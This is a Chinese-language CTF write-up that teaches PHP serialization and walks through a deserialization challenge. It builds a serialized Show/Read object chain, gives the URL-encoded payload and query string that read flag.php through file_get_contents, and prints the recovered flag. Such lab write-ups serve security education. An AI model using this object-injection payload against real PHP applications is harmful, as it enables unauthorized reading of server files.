首页 > 其他分享 >CTFer成长记录——CTF之Web专题·初识反序列化

CTFer成长记录——CTF之Web专题·初识反序列化

时间:2023-07-14 17:24:43浏览次数:31  
标签:Web Show 3A% CTF file var 序列化 public

一、题目链接

http://122.114.252.87:1110/index2.php
前置知识:序列化与反序列化
序列化是将变量转换成可保存或传输的字符串实现函数是:serialize();
反序列化是:将字符串转换成变量,是一个逆过程。实现的函数式:unserialize();
序列化:
image
上面的结果是对一个对象的打印,后面是序列化后的结果,也就是把它“拉直”。
反序列化:

点击查看代码
 $b = unserialize(serialize($a));
    var_dump($b);
对应的结果是:

image
只要变量相同,序列化和反序列化的样子是一样的。
序列化后的字符串说明:
image

二、解法步骤

  打开网页发现是php源代码,整个代码可分为三个部分:
点击查看代码 ``` class Read { public function get_file($value)//获取文件名 { $text = base64_encode(file_get_contents($value));//读取文件内容,然后进行base64加密并返回。 return $text; } }//涉及到读文件的操作,可能是一个敏感信息泄露点 ```
点击查看代码
class Show
{
    public $source;
    public $var;
    public $class1;
    public function __construct($name='index.php')
    {
        $this->source = $name;
        echo $this->source.' Welcome'."<br>";    
}
 
    public function __toString()
    {   
        $content = $this->class1->get_file($this->var);//利用点
        echo $content;
        return $content;
    }
 
    public function _show()//过滤函数
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }
 
    }
 
    public function Change()//过滤函数
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
        }
    }
    public function __get($key){
        $function=$this->$key;
        $this->{$key}();
    }
}
点击查看代码
if(isset($_GET['sid']))
{
    $sid=$_GET['sid'];
    $config=unserialize($_GET['config']);
    $config->$sid;
}
else
{
    $show = new Show('index2.php');
    $show->_show(
}

在第一段代码中,在Read类里发现get_file()这个函数,暗示这是一个敏感信息点;在第二段中,在Show类里发现__toString()函数调用了get_file()这个函数,并且打印$content,阅读代码就知道$content就是文件里的
内容。现在的目的就是使得传入的对象,能够获取该文件的内容,那么这个对象一定是Show类的对象,在Show类中:
$content = $this->class1->get_file($this->var);,这段代码是利用点。get_file()函数只有Read的对象有,因此 $this->class1一定是一个Read的对象,再看,get_file()中的参数$this->var,要求Show的对象的var值是一个文件名,那么假设是flag.php,最后var的值为"flag.php";
经过分析,我们把Show类中的var成员赋值为"flag.php",class需要是一个Read的对象。
那么这样操作:

点击查看代码
$s =new Show;
$r = new Read;
$s->class1 = $r;
echo urlencode(serialize($s))

至此,需要传入的对象参数已经构造好了,最后需要将它转化成url编码,防止传入时一些字符丢失。
最后结果为:O%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22var%22%3
Bs%3A8%3A%22flag.php%22%3Bs%3A6%3A%22class1%22%3BO%3A4%3A%22Read%22%3A0%3A%7B%7D%7D
这个就是要在第三段代码中传入config的值,他经过反序列化后就是我们构造好的$s对象,最后要获取文件内容,就需要调用__toString()函数,那么传入的sid的值为__toString即可。
最后的传参:

点击查看代码
?sid=__toString&config=O%3A4%3A"Show"%3A3%3A%7Bs%3A6%3A"source"%3Bs%3A9%3A"index.php"%3Bs%3A3%3A"var"%3Bs%3A8%3A"flag.php"%3Bs%3A6%3A"class1"%3BO%3A4%3A"Read"%3A0%3A%7B%7D%7D

获取到PD9waHAKJGZsYWcgPSAiZmxhZ3syNTZkN2ZkNi1kYjUxLTQ0YjktOGIyZC04OGUxN2IwODg2ZTl9IjsKPz4=
Base64加密的值,解码得到:
flag = "flag{256d7fd6-db51-44b9-8b2d-88e17b0886e9}";

三、总结

序列化与反序列化就是为了更方便的传输数据。反序列化漏洞也叫对象漏洞,当进行反序列化时,就会自动的调用一些函数,如果传入函数的参数(特指对象的属性)可以被用户控制的话,用户输入一些恶意代码到函数中,从而导致反序列化漏洞。
做题步骤:
​ a>将源代码复制到本地

​ b>注释与属性无关的内容

c>根据需要给属性赋值

​ d>生成序列化数据,通常要urlencode(url编码)

标签:Web,Show,3A%,CTF,file,var,序列化,public
From: https://www.cnblogs.com/miraclewolf/p/17554523.html

相关文章

  • Vue3 webSocket收到消息改变响应式全局对象从而实时改变界面
    需求在main.js中创建一个 响应式全局对象。通过WebSocket收到消息改变这个全局对象时,子组件应同步响应。效果:这几个标签框绑定的全局对象json main.js定义 响应式全局对象//全局对象constglobalData=reactive({extTelMonitorData:[{title:......
  • Web测试方法总结
           ......
  • Vulnhub: HackathonCTF: 2靶机
    kali:192.168.111.111靶机:192.168.111.147信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.147ftp存在匿名登陆,其中存在字典文件80端口目录爆破feroxbuster-k-d1--urlhttp://192.168.111.147-w/opt/zidian/SecLists-2022.2/Discover......
  • WebAssembly 使用
    1.安装Emscripten(用来编译到WebAssembly(wasm))gitclonehttps://github.com/emscripten-core/emsdk.gitcdemsdkgitpull#下面步骤用cmd操作emsdkinstalllatest//下载并安装最新的SDK工具(需要点时间)emsdkactivatelatest//使当前用户的“最新”SDK处于“......
  • 老杜 JavaWeb 讲解(十) —— HttpServletRequest接口源码分析
    (十二)HttpServletRequest接口源码分析对应视频:21-HttpServletRequest接口12.1介绍HttpServletRequest是一个接口,全限定名称:jakarta.servlet.http.HttpServletRequestHttpServletRequest接口是Servlet规范中的一员。HttpServletRequest接口的父接口:ServletRequest......
  • Web 前端常用的组态软件工具(可视化)
    前言随着创新技术驱动工业物联网不断发展,设备联网所产生的多样化数据,在边缘端与云端进行大数据分析,成为工业应用场景数字化的需求。跨系统可通用,不受硬件限制达成无缝整合,监控组态软件SCADA成为物联网时代建构出各种工业应用的成功关键。概念组态(Configure):包含“配置”、“......
  • Java Web程序在Tomcat上是如何运行的
    https://blog.csdn.net/fuzhongmin05/article/details/104379514一个JVM是一个进程,JVM上跑Tomcat,Tomcat上可以部署多个应用。这样的话,每个跑在Tomcat上的应用是一个线程吗?如果一个应用crash了,其他应用也会crash吗?理解程序运行时的执行环境,直观感受程序是如何运行的,对我们开发和......
  • web前端 第五天总结
    案例1:js初体验<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>Document</t......
  • 畅捷通T+ GetStoreWarehouseByStore 反序列化分析
    漏洞描述畅捷通T+前台存在反序列化漏洞,攻击者可直接利用此漏洞执行任意命令影响版本T+13.0、T+16.0漏洞分析漏洞主要是因为ajaxPro组件存在CVE-2021-23758,但是这个漏洞有个要求是传输的参数类型必须是object通过反编译App_Code.dll的Ufida.T.CodeBehind._PriorityLevel中G......
  • ASP.NET MVC4 WEB API跨域
    ASP.NETMVC4WEBAPI跨域web.config文件里加些东西即可 <system.webServer> <httpProtocol> <customHeaders> <addname="Access-Control-Allow-Origin"value="*"/> <addname="Access-Control-Allow-H......